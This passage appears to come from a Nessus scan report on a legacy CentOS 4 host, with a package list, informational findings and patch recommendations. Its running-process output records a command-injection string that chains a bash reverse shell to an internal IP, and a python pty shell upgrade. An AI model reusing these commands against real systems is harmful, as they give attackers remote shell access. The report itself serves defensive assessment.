 fontconfig-2.2.3-7.centos4|(none) Wed 07 Oct 2009 08:09:39 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 jwhois-3.2.2-6.EL4.1|(none) Wed 07 Oct 2009 08:09:42 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libpng-1.2.7-1.e14.2|2 Wed 07 Oct 2009 08:09:43 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 m4-1.4.1-16|(none) Wed 07 Oct 2009 08:09:45 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 irda-utils-0.9.16-3|(none) Wed 07 Oct 2009 08:09:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 bind-libs-9.2.4-24.EL4|20 Wed 07 Oct 2009 08:09:46 PM EDT|CentOS|(none)
 OpenIPMI-1.4.14-1.4E.17|(none) Wed 07 Oct 2009 08:09:47 PM EDT|CentOS|(none)

```

bc-1.06-17.1|(none) Wed 07 Oct 2009 08:09:48 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
diskdumputils-1.3.25-1|(none) Wed 07 Oct 2009 08:09:50 PM EDT|CentOS|(none)
python-elementtree-1.2.6-5.e14.centos|(none) Wed 07 Oct 2009 08:09:51 PM EDT|CentOS|(none)
lockdev-1.0.1-6.2|(none) Wed 07 Oct 2009 08:09:52 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
slocate-2.7-13.el4.6|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
syslinux-2.11-1|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
umb-scheme-3.2-36.E4|(none) Wed 07 Oct 2009 08:09:54 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
utempter-0.5.5-5|(none) Wed 07 Oct 2009 08:09:56 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
xmlsec1-1.2.6-3|(none) Wed 07 Oct 2009 08:09:56 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
at-3.1.8-80.E4|(none) Wed 07 Oct 2009 08:09:59 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
sudo-1.6.7p5-30.1.3|(none) Wed 07 Oct 2009 08:09:59 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
cyrus-sasl-plain-2.1.19-5.E4|(none) Wed 07 Oct 2009 08:10:00 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
isdn4k-utils-3.2-18.p1.1|(none) Wed 07 Oct 2009 08:10:01 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
gnupg-1.2.6-9|(none) Wed 07 Oct 2009 08:10:03 PM EDT|CentOS|(none)
openssh-clients-3.9p1-8.RHEL4.20|(none) Wed 07 Oct 2009 08:10:04 PM EDT|CentOS|(none)
sendmail-8.13.1-3.2.e14|(none) Wed 07 Oct 2009 08:10:06 PM EDT|CentOS|(none)
iptstate-1.3-4|(none) Wed 07 Oct 2009 08:10:07 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
pciutils-2.1.99.test8-3.4|(none) Wed 07 Oct 2009 08:10:08 PM EDT|CentOS|(none)
rp-pppoe-3.5-22|(none) Wed 07 Oct 2009 08:10:08 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
up2date-4.5.5-5.centos4|(none) Wed 07 Oct 2009 08:10:11 PM EDT|CentOS|(none)
cups-1.1.22-0.rc1.9.20|1 Wed 07 Oct 2009 08:10:13 PM EDT|CentOS|(none)
yum-2.4.3-3.e14.centos|(none) Wed 07 Oct 2009 08:10:14 PM EDT|CentOS|(none)
libart_lgpl-2.3.16-3|(none) Wed 07 Oct 2009 08:10:15 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
esound-0.2.35-2|1 Wed 07 Oct 2009 08:10:16 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
ORBit2-2.12.0-3|(none) Wed 07 Oct 2009 08:10:17 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
libbonobo-2.8.0-2|(none) Wed 07 Oct 2009 08:10:18 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
4Suite-1.0-3|(none) Wed 07 Oct 2009 08:10:32 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
pango-1.6.0-9|(none) Wed 07 Oct 2009 08:10:34 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
libglade2-2.4.0-5|(none) Wed 07 Oct 2009 08:10:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
gnome-vfs2-2.8.2-8.2|1|(none) Wed 07 Oct 2009 08:10:39 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
gnome-python2-2.6.0-3|(none) Wed 07 Oct 2009 08:10:41 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
httpd-2.0.52-32.ent.centos4|(none) Wed 07 Oct 2009 08:10:44 PM EDT|CentOS|(none)
mod_python-3.1.3-5.1|(none) Wed 07 Oct 2009 08:10:47 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
samba-common-3.0.10-1.4E.11|0 Wed 07 Oct 2009 08:10:53 PM EDT|CentOS|(none)
perl-libwww-perl-5.79-5|(none) Wed 07 Oct 2009 08:10:59 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
perl-XML-Encoding-1.01-26|(none) Wed 07 Oct 2009 08:11:00 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
ttmkfdi-3.0.9-20.e14|(none) Wed 07 Oct 2009 08:11:02 PM EDT|CentOS|(none)
system-config-services-0.8.15-1|(none) Wed 07 Oct 2009 08:11:04 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
libvorbis-1.1.0-1|1 Wed 07 Oct 2009 08:11:04 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
dbus-python-0.22-12.E1.9|(none) Wed 07 Oct 2009 08:11:05 PM EDT|CentOS|(none)
system-config-date-1.7.15-0.RHEL4.3|(none) Wed 07 Oct 2009 08:11:07 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
system-config-rootpassword-1.1.6-1|(none) Wed 07 Oct 2009 08:11:08 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
system-config-network-1.3.22.0.E1.4.2-1|(none) Wed 07 Oct 2009 08:11:09 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
sgml-common-0.6.3-17|(none) Wed 07 Oct 2009 08:11:10 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
emacs-leim-21.3-19.E1.4|(none) Wed 07 Oct 2009 08:11:14 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
tclx-8.3.5-4|(none) Wed 07 Oct 2009 08:11:15 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
dmraid-devel-1.0.0.rc14-5_RHEL4_U5|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|(none)
ctags-5.5-4-1|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
hesiod-devel-3.0.2-30|(none) Wed 07 Oct 2009 08:11:26 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
libf2c-3.4.6-8|(none) Wed 07 Oct 2009 08:11:26 PM EDT|CentOS|(none)
db4-utils-4.2.52-7.1|(none) Wed 07 Oct 2009 08:11:35 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
libvorbis-devel-1.1.0-1|1 Wed 07 Oct 2009 08:11:45 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
bzip2-devel-1.0.2-13.E4.3|(none) Wed 07 Oct 2009 08:11:52 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
libtermcap-devel-2.0-8-39|(none) Wed 07 Oct 2009 08:13:42 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
automake14-1.4p6-12|(none) Wed 07 Oct 2009 08:13:44 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
perl-XML-NamespaceSupport-1.08-6|(none) Wed 07 Oct 2009 08:13:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
perl-XML-Twig-3.13-6|(none) Wed 07 Oct 2009 08:13:48 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
redhat-rpm-config-8.0.32.1-4|(none) Wed 07 Oct 2009 08:13:49 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
valgrind-3.1.1-1.E4|1 Wed 07 Oct 2009 08:13:50 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
gdbm-devel-1.8.0-24|(none) Wed 07 Oct 2009 08:13:54 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
cvs-1.11.17-9.RHEL4|(none) Wed 07 Oct 2009 08:13:55 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
autoconf-2.59-5|(none) Wed 07 Oct 2009 08:13:56 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
automake16-1.6.3-5|(none) Wed 07 Oct 2009 08:13:57 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
perl-XML-LibXML-1.58-1|(none) Wed 07 Oct 2009 08:13:59 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
readline-devel-4.3-13|(none) Wed 07 Oct 2009 08:14:01 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
rpm-devel-4.3-3-22_noptr1|(none) Wed 07 Oct 2009 08:14:04 PM EDT|CentOS|(none)
libgcj-3.4.6-8|(none) Wed 07 Oct 2009 08:14:17 PM EDT|CentOS|(none)
openssl-devel-0.9.7a-43.16|(none) Wed 07 Oct 2009 08:14:26 PM EDT|CentOS|(none)
glIBC-kernheaders-2.4-9.1.100.E1|(none) Wed 07 Oct 2009 08:14:29 PM EDT|CentOS|(none)
gcc-c++-3.4.6-8|(none) Wed 07 Oct 2009 08:14:32 PM EDT|CentOS|(none)
java-1.4.2-gcj-compat-1.4.2.0-27jpp|0 Wed 07 Oct 2009 08:14:34 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
openldap-devel-2.2.13-7.4E|(none) Wed 07 Oct 2009 08:14:36 PM EDT|CentOS|(none)
systemtap-0.5.12-1|(none) Wed 07 Oct 2009 08:14:37 PM EDT|CentOS|(none)
mysqlclient10-3.23.58-4.RHEL4.1|(none) Wed 07 Oct 2009 08:14:52 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
mx-2.0.5-3|(none) Wed 07 Oct 2009 08:14:53 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
open-1.4-21|(none) Wed 07 Oct 2009 08:14:54 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
bluez-pin-0.23-3|(none) Wed 07 Oct 2009 08:14:55 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
openldap-clients-2.2.13-7.4E|(none) Wed 07 Oct 2009 08:14:57 PM EDT|CentOS|(none)
gpg-pubkey-443e1821-421f218f|(none) Thu 08 Oct 2009 06:30:53 AM EDT|(none)|(none)
php-mysql-4.3.9-3.26|(none) Thu 08 Oct 2009 06:31:22 AM EDT|CentOS|(none)

```

25220 - TCP/IP Timestamps Supported

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

<http://www.ietf.org/rfc/rfc1323.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

Plugin Output

tcp/0

150799 - Target Access Problems by Authentication Protocol - Maximum Privilege Account Used in Scan

Synopsis

Nessus scanned the target host with the highest available privilege level. Yet Nessus encountered permissions issues while accessing one or more items during the scan.

Description

Nessus was able to log in to the remote host using the provided credentials. The provided credentials have the highest privilege possible on the remote host. Yet Nessus encountered permissions issues while accessing items during the scan.

It is likely that this condition is caused by one or more of the following:

- 1) A plugin tried to access a resource that requires a special privilege level such as NT_AUTHORITY on Windows. The resource may have had its permissions altered since the plugin was written.
- 2) Environmental issues may have caused an intermittent failure in authentication that caused Nessus to stop attempting privilege escalation.
- 3) A resource on the host that Nessus attempts to access multiple times may be configured with access limits. Related lockouts may look like permissions failures.
- 4) Nessus may have tried to access a resource that does not exist on a target that fails to properly report permissions issues.

For instance, on some legacy unix systems such as AIX or HP-UX there is no way to distinguish a missing resource from a permissions error.

If you believe that the plugin indicated attempted to access the wrong resource or a resource that has recently received special OS protection, please contact Tenable Support.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/07/06, Modified: 2021/07/06

Plugin Output

tcp/22/ssh

Nessus was able to log in to the remote host via the following protocol as root. This credential has the highest privilege level possible for this host. Yet Nessus encountered the following permissions issues while performing the planned checks:

Protocol : SSH
Port : 22

See the output of the following plugin for details :

Plugin ID : 102094
Plugin Name : SSH Commands Require Privilege Escalation

141118 - Target Credential Status by Authentication Protocol - Valid Credentials Provided

Synopsis

Valid credentials were provided for an available authentication protocol.

Description

Nessus was able to determine that valid credentials were provided for an authentication protocol available on the remote target because it was able to successfully authenticate directly to the remote target using that authentication protocol at least once. Authentication was successful because the authentication protocol service was available remotely, the service was able to be identified, the authentication protocol was able to be negotiated successfully, and a set of credentials provided in the scan policy for that authentication protocol was accepted by the remote service. See plugin output for details, including protocol, port, and account.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.

- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/10/15, Modified: 2024/03/25

Plugin Output

tcp/22/ssh

Nessus was able to log in to the remote host via the following :

```
User: 'root'  
Port: 22  
Proto: SSH  
Method: password
```

56468 - Time of Last System Startup

Synopsis

The system has been started.

Description

Using the supplied credentials, Nessus was able to determine when the host was last started.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/10/12, Modified: 2018/06/19

Plugin Output

tcp/0

The host has not yet been rebooted.

10287 - Traceroute Information

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

Plugin Output

udp/0

```
For your information, here is the traceroute from 10.136.108.33 to 10.136.108.237 :  
10.136.108.33  
10.136.108.237
```

Hop Count: 1

83303 - Unix / Linux - Local Users Information : Passwords Never Expire**Synopsis**

At least one local user has a password that never expires.

Description

Using the supplied credentials, Nessus was able to list local users that are enabled and whose passwords never expire.

Solution

Allow or require users to change their passwords regularly.

Risk Factor

None

Plugin Information

Published: 2015/05/10, Modified: 2023/11/27

Plugin Output

tcp/0

```
Nessus found the following unlocked users with passwords that do not expire :  
- root  
- john  
- harold
```

110483 - Unix / Linux Running Processes Information**Synopsis**

Uses /bin/ps auxww command to obtain the list of running processes on the target machine at scan time.

Description

Generated report details the running processes on the target machine at scan time.

This plugin is informative only and could be used for forensic investigation, malware detection, and to confirm that your system processes conform to your system policies.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/06/12, Modified: 2023/11/27

Plugin Output

tcp/0

```

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 2796 548 ? S 08:59 0:01 init [3]
root 2 0.0 0.0 0 0 ? SN 08:59 0:00 [ksoftirqd/0]
root 3 0.0 0.0 0 0 ? S< 08:59 0:00 [events/0]
root 4 0.0 0.0 0 0 ? S< 08:59 0:00 [khelper]
root 5 0.0 0.0 0 0 ? S< 08:59 0:00 [kacpid]
root 82 0.0 0.0 0 0 ? S< 08:59 0:00 [kblockd/0]
root 83 0.0 0.0 0 0 ? S 08:59 0:00 [khubd]
root 100 0.0 0.0 0 0 ? S 08:59 0:00 [pdfflush]
root 101 0.0 0.0 0 0 ? S 08:59 0:00 [pdflush]
root 102 0.0 0.0 0 0 ? S 08:59 0:00 [kswapd0]
root 103 0.0 0.0 0 0 ? S< 08:59 0:00 [aio/0]
root 249 0.0 0.0 0 0 ? S 08:59 0:00 [kseriod]
root 482 0.0 0.0 0 0 ? S< 08:59 0:00 [ata/0]
root 483 0.0 0.0 0 0 ? S< 08:59 0:00 [ata_aux]
root 498 0.0 0.0 0 0 ? S 08:59 0:00 [kjournald]
root 1691 0.0 0.3 1924 436 ? S<s 08:59 0:00 udevd
root 1731 0.0 0.0 0 0 ? S 08:59 0:00 [shpcpd_event]
root 1888 0.0 0.0 0 0 ? S< 08:59 0:00 [kaudit0]
root 1919 0.0 0.0 0 0 ? S 08:59 0:00 [kjournald]
root 2462 0.0 0.4 3508 540 ? Ss 08:59 0:00 syslogd -m 0
root 2466 0.0 0.3 3256 384 ? Ss 08:59 0:00 klogd -x
rpc 2493 0.0 0.4 3448 596 ? Ss 08:59 0:00 portmap
rpcuser 2512 0.0 0.6 3244 828 ? Ss 08:59 0:00 rpc.statd
root 2538 0.0 0.2 4964 372 ? Ss 08:59 0:00 rpc.idmapd
root 2611 0.0 0.3 1824 444 ? Ss 08:59 0:00 /usr/sbin/acpid
root 2672 0.0 0.9 4200 1136 ? Ss 08:59 0:00 /usr/sbin/shd
root 2708 0.0 0.6 3832 768 ? Ss 08:59 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
root 2726 0.0 1.4 8284 1864 ? Ss 08:59 0:00 sendmail: accepting connections
smmsp 2736 0.0 1.2 7852 1636 ? Ss 08:59 0:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root 2746 0.0 0.2 2392 344 ? Ss 08:59 0:00 gpm -m /dev/input/mice -t imps2
root 2755 0.0 0.7 6404 940 ? Ss 08:59 0:00 crond
xfs 2776 0.0 1.0 4320 1296 ? Ss 08:59 0:00 xfs -droppriv -daemon
root 2793 0.0 0.3 1780 424 ? Ss 08:59 0:00 /usr/sbin/atd
dbus 2802 0.0 0.6 3276 800 ? Ss 08:59 0:00 dbus-daemon-1 --system
root 2811 0.0 4.5 8672 5764 ? Ss 08:59 0:00 hal
root 3066 0.0 0.5 2204 680 ? Ss 08:59 0:00 dhclient
root 3068 0.0 8.1 22136 10268 ? Ss 08:59 0:00 httpd
root 3094 0.0 0.9 5316 1236 ? S 08:59 0:00 /bin/sh /usr/bin/mysql_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock
--err-log=/var/log/mysql.log --pid-file=/var/run/mysql/mysqld.pid
mysql 3147 0.0 15.6 129652 19752 ? S1 08:59 0:01 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sock
root 3166 0.0 0.3 2028 388 tty1 S+ 08:59 0:00 /sbin/mingetty tty1
root 3167 0.0 0.3 3492 388 tty2 S+ 08:59 0:00 /sbin/mingetty tty2
root 3168 0.0 0.3 2396 384 tty3 S+ 08:59 0:00 /sbin/mingetty tty3
root 3169 0.0 0.3 1940 388 tty4 S+ 08:59 0:00 /sbin/mingetty tty4
root 3170 0.0 0.3 3076 388 tty5 S+ 08:59 0:00 /sbin/mingetty tty5
root 3171 0.0 0.3 3296 384 tty6 S+ 08:59 0:00 /sbin/mingetty tty6
root 4134 0.0 1.8 8592 2328 ? SNS 10:04 0:00 cupsd
apache 4200 0.0 4.7 22140 5928 ? S 10:04 0:00 httpd
apache 4201 0.0 6.3 22344 7976 ? S 10:04 0:02 httpd
apache 4202 0.0 6.0 22336 7636 ? S 10:04 0:02 httpd
apache 4207 0.0 6.3 22328 7940 ? S 10:04 0:02 httpd
apache 4208 0.0 6.0 22336 7648 ? S 10:04 0:02 httpd
apache 5545 0.0 0.8 4836 1120 ? S 10:06 0:00 sh -c ping -c 3 8.8.8.8;bash -c 'bash -i >& /dev/tcp/10.136.108.101/1234 0>&1'
apache 5547 0.0 0.8 5924 1120 ? S 10:06 0:00 bash -c bash -i >& /dev/tcp/10.136.108.101/1234 0>&1
apache 5548 0.0 1.0 4240 1280 ? S 10:06 0:00 bash -i
apache 5551 48.4 1.7 7152 2180 ? R 10:06 26:33 python -c import pty; pty.spawn("/bin/sh")
apache 5552 0.0 1.0 5268 1292 pts/0 Ss 10:06 0:00 /bin/sh
root 9508 0.0 1.0 4704 1364 pts/0 S+ 10:16 0:00 sh -i
apache 9666 0.2 6.3 22332 8036 ? S 10:42 0:02 httpd
apache 9686 0.2 6.0 22328 7652 ? S 10:42 0:02 httpd
apache 9687 0.2 6.3 22344 8000 ? S 10:42 0:02 httpd
apache 9836 0.2 6.2 22336 7916 ? S 10:43 0:02 httpd
apache 9838 0.2 6.3 22328 7960 ? S 10:43 0:02 httpd
apache 9839 0.2 6.2 22328 7892 ? S 10:43 0:02 httpd
apache 10415 0.2 6.2 22336 7924 ? S 10:45 0:02 httpd
apache 10417 0.2 6.0 22344 7644 ? S 10:45 0:02 httpd
apache 10418 0.2 6.2 22336 7908 ? S 10:45 0:02 httpd
apache 10419 0.2 6.3 22328 7968 ? S 10:45 0:02 httpd
apache 10420 0.2 6.3 22336 7988 ? S 10:45 0:02 httpd
apache 10421 0.2 6.2 22336 7888 ? S 10:45 0:02 httpd
apache 10422 0.2 6.3 22336 7948 ? S 10:45 0:02 httpd
apache 10423 0.2 6.2 22336 7912 ? S 10:45 0:02 httpd
apache 10424 0.2 6.0 22328 7612 ? S 10:45 0:02 httpd
apache 10425 0.2 6.2 22336 7920 ? S 10:45 0:02 httpd
root 16305 0.0 1.9 8388 2416 ? Ss 11:01 0:00 sshd: root@notty
root 16330 0.0 1.9 8660 2404 ? Ss 11:01 0:00 sshd: root@notty
root 16332 0.0 0.8 5484 1072 ? Ss 11:01 0:00 bash -c /bin/ps auxww 2>/dev/null
root 16378 0.0 0.6 3084 792 ? R 11:01 0:00 /bin/ps auxww

```

152743 - Unix Software Discovery Commands Not Available

Synopsis

Nessus was able to log in to the remote host using the provided credentials, but encountered difficulty running commands used to find unmanaged software.

Description

Nessus found problems running commands on the target host which are used to find software that is not managed by the operating system. Details of the issues encountered are reported by this plugin.

Failure to properly execute commands used to find and characterize unmanaged software on the target host can lead to scans that do not report known vulnerabilities. There may be little in the scan results of unmanaged software plugins to indicate the missing availability of the source commands except audit trail messages.

Commands used to find unmanaged software installations might fail for a variety of reasons, including:

- * Inadequate scan user permissions,
- * Failed privilege escalation,
- * Intermittent network disruption, or
- * Missing or corrupt executables on the target host.

Please address the issues reported here and redo the scan.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/08/23, Modified: 2021/08/23

Plugin Output

tcp/0

Failures in commands used to assess Unix software:

```
cat --version :  
cat (coreutils) 5.2.1Written by Torbjorn Granlund and Richard M. Stallman.Copyright (C) 2004 Free Software Foundation, Inc.This is  
free software; see the source for copying conditions. There is NOwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR  
PURPOSE.  
  
readlink --version :  
readlink (coreutils) 5.2.1Written by Dmitry V. Levin.Copyright (C) 2004 Free Software Foundation, Inc.This is free software; see the  
source for copying conditions. There is NOwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  
  
Account : root  
Protocol : SSH
```

20094 - VMware Virtual Machine Detection

Synopsis

The remote host is a VMware virtual machine.

Description

According to the MAC address of its network adapter, the remote host is a VMware virtual machine.

Solution

Since it is physically accessible through the network, ensure that its configuration matches your organization's security policy.

Risk Factor

None

Plugin Information

Published: 2005/10/27, Modified: 2019/12/11

Plugin Output

tcp/0

The remote host is a VMware virtual machine.

Compliance 'FAILED'

Compliance 'SKIPPED'

Compliance 'PASSED'

Compliance 'INFO', 'WARNING', 'ERROR'

Remediations

Suggested Remediations

Taking the following actions across 1 hosts would resolve 79% of the vulnerabilities on the network.

Action to take	Vulns	Hosts
CentOS 4 : kernel (CESA-2011:0162): Update the affected kernel packages.	121	1
PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution: Upgrade to PHP version 5.3.12 / 5.4.2 or later. A 'mod_rewrite' workaround is available as well.	58	1
CentOS 4 / 5 : wireshark (CESA-2011:0370): Update the affected wireshark packages.	49	1
CentOS 4 : cups (CESA-2010:0755): Update the affected cups packages.	37	1
CentOS 4 / 5 / 6 : php (CESA-2012:0093): Update the affected php packages.	19	1
CentOS 4 / 5 : freetype (CESA-2011:1455): Update the affected freetype packages.	19	1
CentOS 4 : openssl (CESA-2012:0086): Update the affected openssl packages.	19	1
CentOS 4 / 5 : krb5 (CESA-2011:1851): Update the affected krb5 packages.	17	1
CentOS 4 : bind (CESA-2011:1496): Update the affected bind packages.	17	1
CentOS 4 / 5 : httpd (CESA-2011:1392): Update the affected httpd packages.	16	1
CentOS 4 / 5 : wireshark (CESA-2008:0058): Update the affected wireshark packages.	16	1
CentOS 4 : xorg-x11 (CESA-2011:1360): Update the affected xorg-x11 packages.	16	1
CentOS 4 : kernel (CESA-2010:0936): Update the affected kernel packages.	12	1
CentOS 4 / 5 / 6 : libpng / libpng10 (CESA-2012:0317): Update the affected libpng and / or libpng10 packages.	11	1
CentOS 4 / 5 : samba (CESA-2011:1219): Update the affected samba packages.	11	1
CentOS 4 / 5 / 6 : libvorbis (CESA-2012:0136): Update the affected libvorbis packages.	10	1
CentOS 4 : glibc (CESA-2012:0125): Update the affected glibc packages.	9	1
CentOS 4 : mysql (CESA-2010:0824): Update the affected mysql packages.	9	1
CentOS 4 / 5 : gd (CESA-2010:0003): Update the affected gd packages.	8	1

CentOS 4 / 5 : libtiff (CESA-2011:0392): Update the affected libtiff packages.	7	1
CentOS 4 : libxml2 (CESA-2012:0016): Update the affected libxml2 packages.	7	1
CentOS 4 : gnutls (CESA-2010:0167): Update the affected gnutls packages.	6	1
CentOS 4 : python (CESA-2011:0491): Update the affected python packages.	6	1
CentOS 4 : samba (CESA-2012:0332): Update the affected samba packages.	6	1
CentOS 4 / 5 : perl (CESA-2011:1797): Update the affected perl packages.	5	1
CentOS 4 : openldap (CESA-2010:0543): Update the affected openldap packages.	5	1
CentOS 3 / 4 : vim (CESA-2008:0617): Update the affected vim packages.	4	1
CentOS 4 / 5 : rpm (CESA-2011:1349): Update the affected rpm packages.	4	1
CentOS 3 / 4 / 5 : qt (CESA-2007:0883): Update the affected qt packages.	3	1
CentOS 4 / 5 : curl (CESA-2011:0918): Update the affected curl packages.	3	1
CentOS 4 / 5 : dhcp (CESA-2011:1160): Update the affected dhcp packages.	3	1
CentOS 4 / 5 : tar (CESA-2010:0141): Update the affected tar package.	3	1
CentOS 4 : pcre (CESA-2007:1052): Update the affected pcre packages.	3	1
CentOS 4 : systemtap (CESA-2010:0895): Update the affected systemtap packages.	3	1
CentOS 3 / 4 / 5 : bzip2 (CESA-2010:0703): Update the affected bzip2 packages.	2	1
CentOS 3 / 4 / 5 : expat (CESA-2009:1625): Update the affected expat packages.	2	1
CentOS 3 / 4 / 5 : net-snmp (CESA-2008:0529): Update the affected net-snmp packages.	2	1
CentOS 3 / 4 / 5 : pango (CESA-2010:0140): Update the affected pango packages.	2	1
CentOS 3 / 4 / 5 : squid (CESA-2008:0214): Update the affected squid package.	2	1
CentOS 4 / 5 : apr (CESA-2011:0844): Update the affected apr packages.	2	1
CentOS 4 / 5 : xmlsec1 (CESA-2011:0486): Update the affected xmlsec1 packages.	2	1
CentOS 4 : NetworkManager (CESA-2009:0362): Update the affected networkmanager packages.	2	1
CentOS 4 : tk (CESA-2008:0135): Update the affected tk packages.	2	1
CentOS 3 / 4 / 5 : acpid (CESA-2009:0474): Update the affected acpid package.	1	1
CentOS 3 / 4 / 5 : e2fsprogs (CESA-2008:0003): Update the affected e2fsprogs packages.	1	1
CentOS 3 / 4 / 5 : ed (CESA-2008:0946): Update the affected ed package.	1	1
CentOS 3 / 4 / 5 : gcc / gcc4 (CESA-2010:0039): Update the affected gcc and / or gcc4 packages.	1	1
CentOS 3 / 4 / 5 : gzip (CESA-2010:0061): Update the affected gzip package.	1	1
CentOS 3 / 4 / 5 : libtool (CESA-2009:1646): Update the affected libtool packages.	1	1
CentOS 3 / 4 / 5 : libxslt (CESA-2008:0287): Update the affected libxslt packages.	1	1
CentOS 3 / 4 / 5 : mod_perl (CESA-2007:0395): Update the affected mod_perl packages.	1	1
CentOS 3 / 4 / 5 : newt (CESA-2009:1463): Update the affected newt packages.	1	1
CentOS 3 / 4 / 5 : vixie-cron (CESA-2007:0345): Update the affected vixie-cron package.	1	1
CentOS 3 / 4 / 5 : wget (CESA-2009:1549): Update the affected wget package.	1	1
CentOS 3 / 4 : 4Suite (CESA-2009:1572): Update the affected 4suite package.	1	1

CentOS 3 / 4 : gnome-vfs2 (CESA-2009:0005): Update the affected gnome-vfs2 packages.	1	1
CentOS 4 / 5 : PyXML (CESA-2010:0002): Update the affected pyxml package.	1	1
CentOS 4 / 5 : file (CESA-2007:0391): Update the affected file package.	1	1
CentOS 4 / 5 : libtiff (CESA-2011:0318): Update the affected libtiff packages.	1	1
CentOS 4 / 5 : libuser (CESA-2011:0170): Update the affected libuser packages.	1	1
CentOS 4 / 5 : ntp (CESA-2009:1648): Update the affected ntp package.	1	1
CentOS 4 / 5 : tog-pegasus (CESA-2008:0002): Update the affected tog-pegasus packages.	1	1
CentOS 4 / 5 : vsftpd (CESA-2011:0337): Update the affected vsftpd package.	1	1
CentOS 4 : apr-util (CESA-2010:0950): Update the affected apr-util packages.	1	1
CentOS 4 : cpio (CESA-2010:0143): Update the affected cpio package.	1	1
CentOS 4 : cyrus-sasl (CESA-2007:0795): Update the affected cyrus-sasl packages.	1	1
